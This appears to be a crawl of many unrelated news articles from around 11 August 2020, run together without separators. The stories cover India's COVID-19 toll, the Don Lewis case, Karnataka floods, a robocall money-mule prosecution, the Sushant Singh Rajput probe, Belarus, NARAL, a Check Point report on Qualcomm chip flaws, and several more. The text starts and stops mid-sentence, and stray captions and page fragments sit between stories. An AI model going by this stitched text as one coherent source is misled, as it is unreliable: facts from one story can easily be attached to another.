Health Minister Rajesh Tope. "This decision was taken by the state-appointed committee to regulate the COVID-19 testing charges so that patients do not face any financial burden," the minister said. Union minister of state in the AYUSH ministry Shripad Naik said he has tested positive for the coronavirus but would remain in home isolation as he is asymptomatic. Former Chhattisgarh chief minister Raman Singh in a Twitter post said his wife has tested positive for COVID-19 and he, along with his family, will go into self-isolation and take COVID-19 tests. Delhi recorded 1,113 fresh coronavirus cases taking the caseload to over 1.48 lakh, while the toll rose to 4,153. COVID-19 cases in India dipped below 55,000 in a single day on Tuesday after the country recorded over 60,000 cases daily for four days on the trot, according to the Union Health Ministry data. With the fresh cases, India's COVID-19 tally rose to 22.68 lakh, while the recoveries have surged to 15,83,489, pushing the recovery rate to 69.80 per cent. The total coronavirus cases in the country have increased to 22,68,675 with 53,601 infections being reported in a day, while the death toll climbed to 45,257 with 871 new fatalities being reported in a span of 24 hours, the data updated at 8 am showed. The national recovery rate has risen to 69.80 percent due to effective and prompt clinical management of COVID-19 cases, Union Health Secretary Rajesh Bhushan said. "The case fatality rate has fallen below 2 percent for the first time since the first lockdown. It presently stands at 1.99 percent. It is continuously declining," Bhushan said. On Tuesday, Urdu poet Rahat Indori, whose simple and lucid couplets attracted a huge fan folliwing in India and abroad, died while being treated for COVID-19. Former president Pranab Mukherjee continues to remain critical and is on ventilator support, the Army's Research and Referral (R&R) Hospital said, a day after he underwent a brain surgery. The 84-year-old was admitted to the military hospital around noon on Monday, and had also tested positive for COVID-19 prior to the surgery. Meanwhile, Prime Minister Narendra Modi, in a video conference with chief ministers of ten states, noted that these states account for over 80 percent of active COVID-19 cases. He asserted if the virus is defeated in these states, then the country will also emerge victorious in its fight against the pandemic. Poet Rahat Indori dies during COVID-19 treatment Indori, who was being treated for COVID-19, died of a heart attack at a hospital in Indore, said his son Satlaj Indori, also a poet. Indori, who recited couplets in very expressive style, was admitted to the hospital on Tuesday morning after he tested positive for the disease. "He was admitted for coronavirus treatment but died after suffering a heart attack," Satlaj Indori told PTI. Indore District Collector Manish Singh said he was undergoing treatment at Sri Aurobindo Institute of Medical Sciences. In the morning, the lyricist-poet tweeted about his confirmed COVID-19 report and said he will keep everyone updated through social media. "After initial symptoms of COVID-19, my coronavirus test was done yesterday which came out positive. Pray that I defeat this disease as soon as possible," Indori said in his last post. Pranab Mukherjee on ventilator support "Former President of India Shri Pranab Mukherjee was admitted to Army Hospital (R&R) in Delhi Cantonment at 1207 hours on 10 August, 2020 in a critical condition. Workup at the hospital revealed a large brain clot for which he underwent emergency life saving surgery. Post surgery he continues to remain critical on ventilatory support," the hospital said in a medical bulletin. A multidisciplinary team of doctors is constantly monitoring the health of the former president. Mukherjee tweeted on Monday that he had tested positive for COVID-19 and urged people who had come in contact with him in the last week to isolate themselves and get tested for the novel coronavirus. Soon after the news of his hospitalisation, wishes poured in from various quarters for his early recovery and a number of leaders sent their wishes on Twitter. President Ram Nath Kovind also spoke to Mukherjee's daughter Sharmistha Mukherjee and inquired about his health on Monday evening. Defence Minister Rajnath Singh visited the R&R Hospital on Monday and inquired about the former president's health. Singh was at the hospital for around 20 minutes. Congress leader Rahul Gandhi also sent in his best wishes to the former president and wished him early recovery. Modi stresses on early detection of cases At a video conference with chief ministers of ten states, including Bihar, Uttar Pradesh, Punjab, Andhra Pradesh, Maharashtra and Tamil Nadu, Modi said the recovery rate has gone up which, he added, meant that government efforts have proved to be effective. The Centre and states have been able to work as a team in the fight against COVID-19, he said. "Our experience so far is that containment, contact tracing and surveillance are the most effective weapons against the pandemic with experts of the view that if positive cases are identified within 72 hours of onset, then infection slows down to great extent," the prime minister said. Modi said it was a matter of satisfaction that the average fatality rate in India has been going down and noted that it has been very low compared to the world average. Chief ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh were invited for the virtual meet. Railways suspends all regular passenger services indefinitely The Railways has stated that all regular passenger train services will remain suspended till further notice, but 230 special trains will continue to be in service. This is to bring to the notice of all concerned that as decided and informed earlier as well, regular passenger and suburban train services will continue to remain suspended till further notice," a statement from the Railways said. It may be noted that 230 Special Trains, which are running at present, will continue to operate. Local trains in Mumbai, which are presently being run on limited basis only on the requisition of state government, will also continue to run, it said. The occupancy of special trains is being monitored on a regular basis and additional special trains may be run based on the requirement, the national carrier said. However, all other regular trains and suburban trains run before the lockdown will remain suspended for the time being, it said. All special trains 12 pairs running on the Rajdhani routes since 12 May and 100 pairs operating since 1 June will continue. The limited special suburban services which began recently in Mumbai to ferry essential services personnel identified by the local authorities will also continue to run, officials said. Earlier, the national transporter had suspended all services till 12 August. Russia has developed world's first vaccine, says Putin President Vladimir Putin on Tuesday announced that Russia has developed the world's first vaccine against COVID-19 that works "quite effectively" and forms a "stable immunity" against the disease as he disclosed that one of his daughters has already been vaccinated. "A vaccine against coronavirus has been registered for the first time in the world this morning," Putin said during a meeting with members of his government. "I know that it works quite effectively, it forms a stable immunity," the official Tass news agency quoted Putin as saying. Putin's claim has come amidst concerns raised by experts about the speed of Russia's work, suggesting that researchers might be cutting corners. Amid fears that safety could have been compromised, the World Health Organization (WHO) urged Russia last week to follow international guidelines for producing a vaccine against COVID-19, the BBC reported. The Russian vaccine is not among the WHO's list of six vaccines that have reached phase three clinical trials, which involve more widespread testing in humans, the report noted. State-wise cases and deaths According to the ICMR, a cumulative total of 2,45,83,558 samples have been tested up to August 9, with 4,77,023 samples being tested on Monday. Of the 871 fresh deaths reported, 293 are from Maharashtra, 114 each from Tamil Nadu and Karnataka, 80 from Andhra Pradesh, 51 from Uttar Pradesh, 41 from West Bengal, 20 each from Delhi and Gujarat, 19 from Madhya Pradesh, 18 from Punjab, 14 from Odisha, 11 each from Jharkhand and Rajasthan. Ten fatalities have been reported from Bihar, nine from Uttarakhand, eight from Telangana, seven from Kerala, six each from Assam, Haryana and Jammu and Kashmir, five from Goa, three from Chhattisgarh, two each from Himachal Pradesh and Puducherry while Tripura has registered one fatality. Of the total 45,257 deaths, Maharashtra has reported the maximum at 18,050 followed by 5,041 in Tamil Nadu, 4,131 in Delhi, 3,312 in Karnataka, 2,672 in Gujarat, 2,120 in Uttar Pradesh, 2,116 in Andhra Pradesh, 2,100 in West Bengal and 1,015 in Madhya Pradesh. So far, 800 people have died of COVID-19 in Rajasthan, 645 in Telangana, 604 in Punjab, 489 in Haryana, 478 in Jammu and Kashmir, 397 in Bihar, 286 in Odisha, 188 in Jharkhand, 151 in Assam, 134 in Uttarakhand and 115 in Kerala. Chhattisgarh has registered 99 deaths, Puducherry 89, Goa 80, Tripura 43, Chandigarh 25, Andaman and Nicobar Islands 20, Himachal Pradesh 17, Manipur 11, Ladakh nine, Nagaland eight, Meghalaya six, Arunachal Pradesh three, Dadra and Nagar Haveli and Daman and Diu two and Sikkim one. While investigators dive back into the case of Carole Baskins missing husband Jack Don Lewis, some Tiger King fans wonder how he made his money. Reports state that Lewis was worth millions when he met Baskin, but where did it come from? Carol Baskin denounces new search for Don Lewis in a post-Tiger King world Carole Baskin | Netflix RELATED: Tiger King: Could New Evidence in Carole Baskins Missing Husband Case Be Enough for Her Arrest? On Aug. 10, family members of Lewis held a press conference with their attorneys to discuss details of the case moving forward. The success of Netflixs Tiger King thrust the cold case back into the spotlight. Lewis was last seen in 1997 just before a trip to Costa Rica. Tiger King viewers alleged Baskin was involved in Lewiss disappearance. Investigators havent yet found evidence connecting her to the case. We really need someone to come forward in the case with information, family spokesman Jack Smith said at the press conference via WFLA. And theres a lot of people out there that have information but theyre scared to come forward. Theres people with animals exotic animals that are scared if they come forward, theyre gonna lose their animals somehow. Baskin sent a statement to the outlet via email following the conference. I believe it is a publicity stunt orchestrated by Jack Smith to bolster his YouTube views but do hope that all of the attention from Tiger King and the aftermath will result in us finding Don, she said. $100,000 reward offered for information Four of these new billboards offering a $100,000 reward from the family of Don Lewis are displayed around #Tampa ahead of a press conference Monday. This one is located down the road from the entrance to the Big Cat Rescue. https://t.co/sPk3IxirSp #TigerKing @WFLA pic.twitter.com/W8YrO7WlVv Justin Schecker (@WFLAJustin) August 8, 2020 RELATED: Tiger King: Mega-Reward Offered for Information About Carol Baskins Missing Husband Don Lewis With the anniversary of Lewiss disappearance approaching Aug. 18, 1997 Lewiss family had four billboards put up around Tampa offering a $100,000 reward for information regarding the disappearance. With the help of family attorney John Phillips, another attorney offered free services to encourage people to come forward. Youre looking at a criminal defense attorney over here whos ready to make someone a deal if you have information, Smith said at the conference. Lewis youngest daughter, Gale Rathbone, has mixed feelings about her fathers attention through Tiger King. Amazingly, our little family tragedy has become your tragedy. Our search for closure and truth has become your mission also, she said. We all know by now that he was not a perfect man. But do only the perfect among us deserve justice? Were asking that anyone with vital information please come forward so that progress can be made on his case. That said, Baskin stood to inherit Lewiss estate in the event of his passing. How did Lewis earn his millions? Attorney John Phillips | O. Jones/Getty Images RELATED: Tiger King: Carole Baskin Says People Have Totally Missed the Point of the Series While investigators look to uncover what exactly happened to Lewis, it brings many Tiger King fans to wonder how Lewis was worth so much in the first place. Lewis worked a lot of odd jobs throughout his teen years such as mechanic and farmhand. He eventually moved into the car business where he met Baskin. According to her, thats where he first made big money. He had a business cutting the axles off of trailers pulled by tractors and selling the boxes as storage and the axles back Great Dane. If you search the property records you will find her only owned two real estate properties at the time, Baskin posted to her website. He may well have been worth six figures and, coming from a very modest background, would have felt he was rich. No one, including Anne McQueen who had access to his books, has ever provided any bank records or other evidence that he had more than that. She continued: One day at the bank he overheard a bank officer say he had a $20,000 loan in default he would be glad to sell for $2000. He got the information and, because he could not read beyond a first-grade level, asked me to look into it. In brief, we bought the loan, foreclosed, and sold the property for a substantial profit. This, she said, began their venture into the real-estate business. We started buying defaulted loans from banks and going to tax deed sales. This was before this became a popular business. There were few people doing it. With me doing the research, negotiations and title clearing on the properties we built this to a portfolio of properties to rent or resell that was worth around $5 million dollars at the time of his disappearance. After Lewiss disappearance, his estate was divided between Baskin and Lewiss children. Basavaraj Bommai: Another leader with origins in Janata Parivar, who made it big outside the party No DCMs, no Vijayendra: What the Bommai Cabinet looks like The test for Bommai and the road ahead: A discussion with Dr. Shastri Karnataka seeks Rs 4,000 crore for special assistance from Centre India oi-Briti Roy Barman Bengaluru, Aug 11: The Karnataka government has requested Centre for a special assistance of Rs 4,000 crore and an advance of Rs 395 crore, the second installment of state disaster response fund (SDRF), as floods ravaged 13 of 30 districts in the state. "The state has been reeling under floods for the last three years. So, we have sought an advance of Rs 395 crore, to help tide over the crisis," said Home Minister Basavaraj Bommai, who, along with Revenue Minister R. Ashok took part in the video conference chaired by Prime Minister Narendra Modi on Monday, as Chief Minister B S Yediyurappa who was hospitalised after testing positive for COVID-19. Karnataka weather update: Red alert sounded in 7 districts The state has pegged total losses due to the floods till date at Rs 4,500 crore. Prime Minister Narendra Modi's video conference regarding the flood situation in several parts of the country on Monday pitched for the special assistance to the state. During the meeting of the Chief Ministers of six flood-hit states-Karnataka, Maharashtra, Bihar, Uttar Pradesh, Kerala, and Assam-the PM reviewed the flood situation, relief measures and sought suggestions on flood mitigation. "In Karnataka, rainfall over the last one week in coastal Karnataka region, Dakshina Kannada, Udupi and Uttara Kannada districts, Madikeri and north Karnataka districts of Belagavi, Dharwad, Haveri and Raichur has been higher than normal. For instance, Bhagamandala has received 500 per cent excess rainfall. The overflowing rivers and high speed winds are causing havoc. There has been a shift from the north-east monsoon to south-west monsoon and incessant rains in the Western Ghat region is causing the rivers to swell," informed Bommai, who addressed a press meet after the video conference. According to the report, at least 885 villages across 56 taluks have been affected by the floods. As many as 3,000 houses have collapsed, 80,000 hectares of agriculture and horticulture crops have been destroyed, while 3,500 km of roads stand damaged due to heavy rains. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News "We have asked for Rs 4,000 crore to be given as special additional assistance outside the National Disaster Response Fund (NDRF) norms due to the floods and Covid-19 pandemic", Bommai said after the video conference with Modi. Meanwhile, the Karnataka government also asked the Centre to release in advance Rs 395 crore under the State Disaster Response Fund (SDRF). According to the Home minister, at present, 56 taluks and 895 villages have been affected by floods. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 13:30 [IST] Mineral explorer Arkle Resources says it's resuming the hunt for gold in Wicklow and Donegal with its programme buoyed by the current record-high price for the precious metal. Whiskey and mining entrepreneur John Teeling, who has stepped in as acting chief executive following the surprise departure of previous CEO Patrick Cullen, says the relaunched prospecting reflects "fresh eyes and ideas". Technical advisor Gavin Berkenhegerhas has assumed oversight of both Arkle gold projects, Mine River in Wicklow and Meeneragh Glentogher on Donegal's Inishowen peninsula. The chairman, Mr Teeling, and finance director Jim Finn have taken charge of Arkle's zinc projects, including Stonepark in Limerick. Mr Teeling said Arkle has decided to take more than 3,000 soil samples along the Mine River "in a tight grid". He said the prospectors would use X-ray fluorescence technology "to identify anomalies in indicator minerals" for traces of gold. He said similar work would resume at its Inishowen site. More than 500 samples there would be taken from "the known gold veins at Meeneragh to include areas where gold-bearing rock was previously discovered". He said the sampling and analysis would be completed by early September, after which new targets would be set "for follow-up trenching or drilling". "The long, detailed review of our gold projects using fresh eyes and ideas concluded at a good time for gold. Our fieldwork has started as gold prices soar over 2,000 dollars an ounce," he said. "There is gold in Mine River and in Inishowen. This latest work will identify where best to trench and drill." Mr Teeling, who also is owner of the Great Northern Distillery, founded Connemara Mining in 2004 with dreams of discovering commercial deposits of gold and zinc in Ireland. It holds more than three dozen exploration licenses. Last year it changed its name to Arkle. Last month Arkle reported 2019 net losses of 313,860 and net liabilities of 182,501 and expressed concern about its "ability to continue as a going concern". A week later, Mr Cullen departed as CEO after three years in the job. Arkle's AIM-listed shares have been a penny stock for years. They fell 7.45pc yesterday to 0.93 pence (1.03 euro cents). Maaz Ahmed Shamsi (left) and Zeeshan Khan (right), both students at the International Institute of Hotel Management in Kolkata, India, were charged in federal court in Camden last month with serving as "money mules" for a robocall scam scheme that has bilked millions from unwitting American victims. Read more Maaz Ahmed Shamsi and Zeeshan Khan appeared no different than any of the hundreds of other international students who usually arrive in Centre County, Pa., each fall on visas allowing them to study or receive on-the-job training in the United States. They lived in a modest apartment in Boalsburg, less than 10 minutes from Pennsylvania State Universitys flagship campus. They hung out in State College, mixing among the students. But while most scrape by on financial aid, work-study jobs, and student loans, Shamsi, 23, and Khan, 22, routinely had thousands of dollars passing through their bank accounts all now alleged to be proceeds from a global robocall scam industry that swindles more than $150 million from Americans each year. According to federal prosecutors in New Jersey, the pair were members of a ring of college-age money mules, all recruited from the same campus in eastern India the International Institute of Hotel Management in Kolkata and sent to the U.S. specifically to collect the proceeds of this transnational fraud. Once here, Shamsi and Khan allegedly opened a dozen bank accounts in Pennsylvania, New Jersey, and New York, and watched the money roll in from scam victims, most elderly, who had been instructed by call centers in India to wire money their way. Prosecutors say the pair allegedly sent the ill-gotten gains to accounts in South Korea, China, and Hong Kong, often before suspicious banks could halt the transfers. The men allegedly moved more than $618,000 swindled from 19 U.S. victims between January and May alone. At least a half-dozen others linked to the hotel management school have been arrested since January in New Jersey, Texas, and Colorado on similar charges. Each arrived in the U.S. ostensibly as part of a work-study program giving foreign students an opportunity to be interns at topflight American resorts. I really cant stress enough the level of sophistication of the scheme were dealing with, which has now spanned the entire country, Assistant U.S. Attorney Meriah H. Russell said in an April hearing in Trenton for another defendant caught in the dragnet. Were talking millions of dollars. Were talking about money laundering. Its massive. Its complicated. Theyre sophisticated. The scheme The specifics of the scam will sound familiar to countless Americans, who are bombarded with nearly 26 billion such calls a year, according to the third-party call blocking software company YouMail. A recorded message purportedly from the FBI, the IRS, or Social Security warns the recipient they face imminent arrest, fines, deportation, or the suspension of government benefits, and urges that they call a provided number immediately. The return call is then routed to a call center where dialers with American-sounding names and accents offer to settle the issue for an immediate payment, often a fraction of the sum they say is owed. The vast majority of targets recognize the calls as bogus and hang up, the Federal Trade Commission says. But with billions of such calls each year, even a small success rate generates millions in profits. Americans lost more than $128 million to government impostor frauds in 2019 alone, according to the FTC. And eastern India has become an epicenter of the industry, home to dozens of call centers, filled with professionally dressed workers sitting in cubicles and handling dozens of calls daily from American marks. The Justice Department has attempted to crack down, filing lawsuits in January against two American telecom carriers responsible for routing the robocalls into the U.S. phone network and extraditing from Singapore the head of a network of Indian call centers to face charges in a first-of-its-kind case. But the allegations of a network of students recruited from one specific school to exploit the U.S. visa system appears to be a new development. The complaint against Shamsi and Khan cites one Los Angeles man who allegedly was victimized multiple times in the same scheme. He first received a robocall purporting to be from Norton Antivirus, alerting him he was entitled to a $400 refund. After being convinced to grant remote access to his computer to process the transaction, the caller on the other end of the line suddenly insisted hed accidentally overpaid the man and demanded the victim send the money back via a $4,000 Google gift card. The alleged victim did see an overpayment in his account, but it was his own money, secretly transferred there from another of his accounts, which the perpetrators accessed through his computer. Not knowing that, he sent the $4,000. Then, the call center contacted him days later to alert him that the man hed previously spoken to had been fired for fraud, and that he was owed a refund on the $4,000 he had been swindled into sending. He fell victim again, this time wiring more than $14,000 into an account held by Khan. Pawns in all of this Authorities have said little about how Shamsi and Khan were recruited for the scam, or how they came to be in State College and later New Jersey, where they were living when arrested last month. Theyre all pawns in all of this to some degree, said Shamsis lawyer, Martin Issenberg, suggesting his client may not have been a voluntary participant. It was an opportunity for them to spend some time in the United States. Im not sure they came here for the purpose of conducting themselves in the way that they did. An attorney for Khan did not return calls for comment. Like most of the other Indian students, Shamsi and Khan arrived through participation in exchange programs that help place thousands of international students each year at universities and workplaces around the country. Prosecutors have not alleged that the programs or the school they came from had any knowledge of the scam. We as a hospitality institute are committed to providing meaningful education to students and strongly condemn any illegal activity, said Sanjukta Bose, director of the International Institute of Hotel Management in Kolkata, in an email. We do not support any student who acts against the law. According to court filings, the Foundation for Worldwide International Student Exchange, a Tennessee-based nonprofit and the Omni Orlando Resort in Florida alerted federal authorities after one student intern placed there reported hearing rumors that many of his colleagues from Kolkata school had been recruited before arriving to participate in the fraud scheme. By that time, many had spread across the country. Prosecutors did not specifically say where Shamsi and Khan worked as part of the exchange program. But they listed their home address as the Toftrees Country Club in State College when they applied for Social Security numbers soon after arriving in November 2019. Court records show another alleged money mule arrested in Monroe Township, N.J., last year told police that he had been recruited in India by a man who paid for his flight to Tampa, Fla., then directed him to drive to New Jersey. There, he was allegedly supplied with 30 fake IDs and paid $300 for each package he picked up filled with cash sent by victims from UPS and FedEx locations across Middlesex County. Homeland Security Investigations agents have since linked him to collections of more than $300,000 from more than 70 U.S. victims. His attorney declined to comment. Shamsi and Khan allegedly netted more than double that amount. They now face prosecution and, if convicted, prison time and certain deportation. CORRECTION: An earlier version of this story incorrectly reported that the Foundation for Worldwide International Student Exchange, which alerted authorities to the scame, had also sponsored Shamsi and Khan for entry into the country. It is not clear who their original sponsors were. Sushant Singh Rajputs former girlfriend Rhea Chakraborty told Supreme Court on Tuesday that there appears to be considerable amount of state interference, influence and therefore an apprehension of bias in the probe conducted by Bihar Police and added that the FIR lodged against her in Sushants death case in the state has no connection with any offence in Patna. These submissions were made by Rheas counsel in the apex court while seeking transfer of the above FIR to Mumbai, where Rajput was found dead in his flat on June 14. On its, part, the Bihar government defended a parallel probe by the state police alleging that Maharashtra police have not co-operated with Bihar police in the case, according to PTI. Earlier Rheas counsel, senior advocate Shyam Divan had pointed out to the bench of Justice Hrishikesh Roy that there was considerable delay of over 38 days in lodging of the FIR at Patna. Watch: Sushant Singh Rajput death case: Six mysteries that CBI needs to solve Divan added that all allegations made by Rajputs father to police in Patna were related to Mumbai, where Sushant and Rhea lived. He also argued that the Mumbai Police had recorded statements of 56 persons in the case and the probe had made substantial progress while questioning the parallel probe by Bihar police. The FIR registered in Patna accuses Rhea of illegal confinement, embezzlement, abetment to suicide among other charges and the probe in the case has now been transferred to the Central Bureau of Investigation. Rhea had earlier expressed apprehension that she had been proclaimed guilty in an alleged media trial and denied allegations that she had diverted any money belonging to Sushant, with whom she had a live-in relationship. Also Read: Sooraj Pancholi files police complaint against those linking him to Sushant Singh Rajput, Disha Salian deaths Sushants family has however argued that they were forced to request for a probe by Bihar police in the case due to an alleged cover-up by the Mumbai police, which had not registered an FIR even more than a month after the actors death. They have now told CBI to add the charge of murder to the FIR registered by the agency after taking over the probe from Patna police. The hearing in the case is going on, on August 5, the top court had said that the truth behind the unfortunate death of the gifted and talented artist should come out. Bihar and Maharashtra government have also been made party to the case which has become a political flashpoint between the two states that have traded barbs accusing each other. The 34-year-old Bollywood actor was found dead in his apartment in suburban Bandra in Mumbai on June 14. MINSK (Reuters) - Belarusian opposition leader Svetlana Tikhanouskaya's campaign team said on Tuesday that she had been forced to leave the country by the authorities amid bloody protests against the contested re-election of President Alexander Lukashenko. "She was taken out of the country by the authorities. Svetlana had no choice. Five minutes before the visit, we discussed our future plans and she was certainly not intending to leave the country," Olga Kovalkova told Reuters. Tikhanouskaya's campaign team had been unable to reach her for hours on Monday, the day after the election, but by Tuesday morning she had joined her children in neighbouring Lithuania. The state border committee later confirmed her departure. (Reporting by Andrei Makhovsky and Maxim Rodionov; Writing by Alexander Marrow; Editing by Kevin Liffey) New gas pipelines would gain taxpayer support to increase energy supplies to industry and households under plans put to Prime Minister Scott Morrison from his top business advisers. The proposal includes a federal guarantee to underpin new investment in domestic pipelines, just as opponents of the projects call for untapped gas to be left in the ground. Nev Power said one of the proposals from the advisory board's manufacturing taskforce was for a "guaranteed off-take through infrastructure" to boost supply. Credit:Alex Ellinghausen The chair of the federal government's COVID-19 Commission Advisory Board, business executive Nev Power, revealed the advice to a Senate committee on Tuesday morning after questions about new plans for industry policy. As gas company Santos seeks federal and state approval to tap the Pilliga field of coal seam gas in northern NSW, the Prime Minister's advisory board is also backing new infrastructure that could assist that project. Former Vice President Joe Biden. (Andrew Caballero-Reynolds/AFP via Getty Images) The head of NARAL Pro-Choice America told Yahoo News on Monday that the organization is pulling out all the stops to keep President Trump from being reelected, allocating $32 million to elect his opponent, former Vice President Joe Biden, this November. Weve got activists on the ground as well as communications to voters through a variety of means about the stakes of this election and absolutely the [Supreme] Court is a part of it, Ilyse Hogue told Yahoo News Skullduggery podcast in an interview. Were running the largest independent expenditure that we have in the history of the organization because we could not be taking this election more seriously. Hogue also said NARAL was taking an active role in combating what she described as sexist stereotypes in coverage of Bidens vice presidential selection process. She said it has joined a coalition of prominent political advocacy groups for women organized around the slogan We Have Her Back. The campaign has been warning media companies not to use sexist tropes when covering the female vice presidential nominees. I, like everyone, expected 2016 to be coverage of credentials and not attacks that were grounded in gender stereotypes, and we saw the opposite and it was called out, Hogue said. We should actually celebrate having a woman on the ticket not just for social progress, but because we know women make the difference in these elections. And yet we have to guard against the kind of right-wing narrative that too often seeps into the mainstream media and depresses that enthusiasm. Last week Hogue and a group of other prominent female leaders sent a letter to newspapers, television networks and other news media detailing their objections to how Bidens vice presidential search process has been covered. Biden has committed to picking a woman as his running mate. The group listed examples of past failures in covering women in politics, including framing a womans election chances by judging likability, and covering a womans looks, weight, tone of voice, attractiveness, and hair. The letter finished by calling on the media not just to pay attention to these stereotypes, but to actively work to be anti-racist and anti-sexist in your coverage. Story continues Recent news coverage has included embarrassing missteps. Sen. Kamala Harris had been the subject of articles covering rumors that she is too ambitious to be trusted; another article questioned whether shed shown enough remorse after attacking Biden in a debate. Susan Rice, the former national security adviser, was the subject of a sarcastic Dana Milbank column condemning her alleged use of profanity. Hogue says media gender bias has become a norm across party lines even if the right wing has particularly excelled at whipping it up. What we have seen and actually documented, again for decades, is the right wing has a particular grasp on how to foment some really deep stuff we have about race and gender as well as craft narrative thats really smart about how they manipulate emotion, Hogue said. There is not quite the level of scrutiny and checks and balances that wed like to see in the mainstream media actually having enough self-awareness not just to carry those narratives full-bore. Hogue added that she worried the media can get caught up in carrying tropes unconsciously. She said reporters should err on the side of offering too much context when describing gender bias perpetuated by other news figures. Robust conversation is important, she said. Asked about former Connecticut Sen. Chris Dodds role as an adviser to Biden on his running mate selection, Hogue said that bias is a bipartisan problem. (Dodd reportedly has called Harris too ambitious.) Nobodys immune from it, Hogue said. This was a Democratic ex-senator and adviser to Biden who carried forward that trope. But I do think there is an opportunity for the media to say, this [reference to ambition] has historically been used in a way that has attacked women in a way that is not the same as it has been used to attack men. Hogue, although a Democrat, also found examples of unfair gender bias in the coverage of a female vice presidential nominee from an earlier era: Sarah Palin. I am no Palin fan, nobody could ever accuse me of being a Palin fan, Hogue said. She used her own knowledge about race and misogyny to prop up the right wing within the GOP. And at the same time I do think she was held to a different standard than Trump. ... Some of the tropes that were used against Palin even by Democrats they were gendered. And I dont think we advance the conversation about gender equity unless we apply it unilaterally. _____ Read more from Yahoo News: Source: Xinhua| 2020-08-11 14:01:06|Editor: huaxia Video Player Close UNITED NATIONS, Aug. 11 (Xinhua) -- Education Cannot Wait (ECW), a UN-hosted global fund for education in emergencies and protracted crises, has reached nearly 3.5 million children and youth in many of the world's worst humanitarian crises since its inception in 2016, an ECW report published on Tuesday shows. The report, "Stronger Together in Crises -- Annual Results Report 2019," provides evidence that ECW's partnership model is spurring progress in delivering inclusive, equitable quality education for children and youth caught in emergencies and protracted crises. The report shows that ECW is providing the impetus for quicker education responses in face of sudden-onset crises, and is strengthening coherence between humanitarian and development aid interventions. It also captures encouraging trends in terms of strengthening national and local capacities to respond, as well as improving data, evidence and accountability for the sector. "ECW works to serve the 75 million children and youth -- 39 million of whom are girls -- whose education has been disrupted by armed conflicts, forced displacement, climate-change induced disasters and protracted crises. This new annual results report shows ECW advancing from strength to strength, just three years into its operations," said Gordon Brown, UN special envoy for Global Education and Chair of the ECW High-Level Steering Group. "The report comes at an unprecedented time when the global education crisis is exacerbated by COVID-19. The pandemic has swept across the world, threatening decades of hard-won development gains: 90 percent of the world's school-age children and youth have had their education disrupted," Brown noted. "As an innovative fund, ECW is breaking new ground, but more needs to be done. Financing is absolutely essential," he added. "ECW champions the inherent human right to an education for children and youth left furthest behind in humanitarian emergencies and protracted crises," said ECW Director Yasmine Sherif. "To answer the UN secretary general's recent call to avoid a generational catastrophe that could waste untold human potential, undermine decades of progress, and exacerbate entrenched inequalities, ECW and its partners are working to urgently mobilize an additional 310 million dollars to support the emergency education response to the COVID-19 pandemic and other ongoing crises. Together with in-country resource mobilization, this will allow us to reach close to 9 million children annually," Sherif said. ECW, hosted by the United Nations Children's Fund, is the first global fund dedicated to education in emergencies. It was launched by international humanitarian and development aid actors, along with public and private donors, to address the urgent education needs of 75 million children and youth in conflict and crisis settings. Enditem 'I saw how people changed when they found out who my father was,' said John David Washington. John David Washington says he used to hide the fact that he is the son of Hollywood star Denzel Washington initially during film auditions. Washington, who currently headlines filmmaker Christopher Nolan''s much-awaited Tenet, told Mr Porter website he wanted to have a "sense of normalcy" and that's why he would "lie" about his father's job. "I saw how people changed when they found out who my father was. I used to lie, saying he was a construction worker or in jail, just to have some sense of normalcy. "I felt like there was no way people would take me seriously, even if I was good. They would always judge me. So I hid who my father was. I guess I was protecting myself," the 36-year-old actor said. He is the eldest of Denzel and actor Pauletta Washington's four children. He started his acting career with the HBO series Ballers and found global success with the Spike Lee film BlackKklansman. In Tenet, he stars alongside the likes of Robert Pattinson, Elizabeth Debicki, Dimple Kapadia, Michael Caine, and Kenneth Branagh. Nolan wrote and directed the espionage drama, which was filmed across several countries and in IMAX, writes Deadline. The Oscar-winning helmer had previously described it as the most ambitious film he has ever made. After multiple release date revisions due to the coronavirus pandemic, film is finally set to hit cinemas in the US on 4 September. In overseas markets, it will be out starting from 26 August. (With inputs from Press Trust of India) tech2 News Staff Researchers at Checkpoint recently discovered that Qualcomm chipsets are ridden with over 400 vulnerabilities, which in turn, puts over billions of Android smartphone users all over the world, at risk. Over 40 percent of smartphones in the world use Qualcomm chipsets. As per the researchers, the vulnerabilities have been found within code sections of the Qualcomm Snapdragon digital signal processor (DSP) chip and can be exploited when a user downloads a video or any other content thats rendered by the chip. Another way the vulnerability can be misused is by installing malicious apps that require no permissions at all. Once that's in place, attackers can monitor a user's location, listen on them, access their photos and videos, among other things. In some cases, according to the researchers, vulnerabilities could also allow an attacker to a render a user's phone completely unresponsive. While DSP chips provide a relatively economical solution that allows mobile phones to provide end users with more functionality and enable innovative featuresthey do come with a cost. These chips introduce new attack surface and weak points to these mobile devices. DSP chips are much more vulnerable to risks as they are being managed as Black Boxes since it can be very complex for anyone other than their manufacturer to review their design, functionality or code, the researchers said in the brief about the vulnerability. For the uninitiated, a DSP is one of the function of the system on chip (SoC), which in Qualcomm's case is called Snapdragon. DSP is responsible for a myriad of tasks like charging abilities and video, audio, augmented reality, and other multimedia functions. CheckPoint reveals in its blog, that Qualcomm was notified about the vulnerabilities earlier on, and it acknowledged the issue and apprised relevant device vendors regarding the vulnerabilities. It assigned several CVE fixes to device vendors including CVE-2020-11201, CVE-2020-11202, CVE-2020-11206, CVE-2020-11207, CVE-2020-11208 and CVE-2020-11209. Meanwhile, Qualcomm has also responded to the issue and it says that till now there is no evidence that shows that any of the reported vulnerabilities have been exploited. "Providing technologies that support robust security and privacy is a priority for Qualcomm. Regarding the Qualcomm Compute DSP vulnerability disclosed by Check Point, we worked diligently to validate the issue and make appropriate mitigations available to OEMs. We have no evidence it is currently being exploited. We encourage end users to update their devices as patches become available and to only install applications from trusted locations such as the Google Play Store," Qualcomm told The Forbes. 3 1 of 3 Courtesy photo /U.S. Border Patrol Show More Show Less 2 of 3 Courtesy photo /U.S. Border Patrol Show More Show Less 3 of 3 State and federal authorities recovered a stolen vehicle that was used in a human smuggling attempt, according to the U.S. Border Patrol. Agents conducted a records check on a white pickup traveling on Mines Road on Monday afternoon. Authorities attempted to pull over the vehicle after receiving information that the vehicle was stolen. A deadly tornado that tore a path through southwest Manitoba Friday is the second severe twister to hit the region this summer, and weather scientists are analyzing a trove of evidence to learn more about it. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no 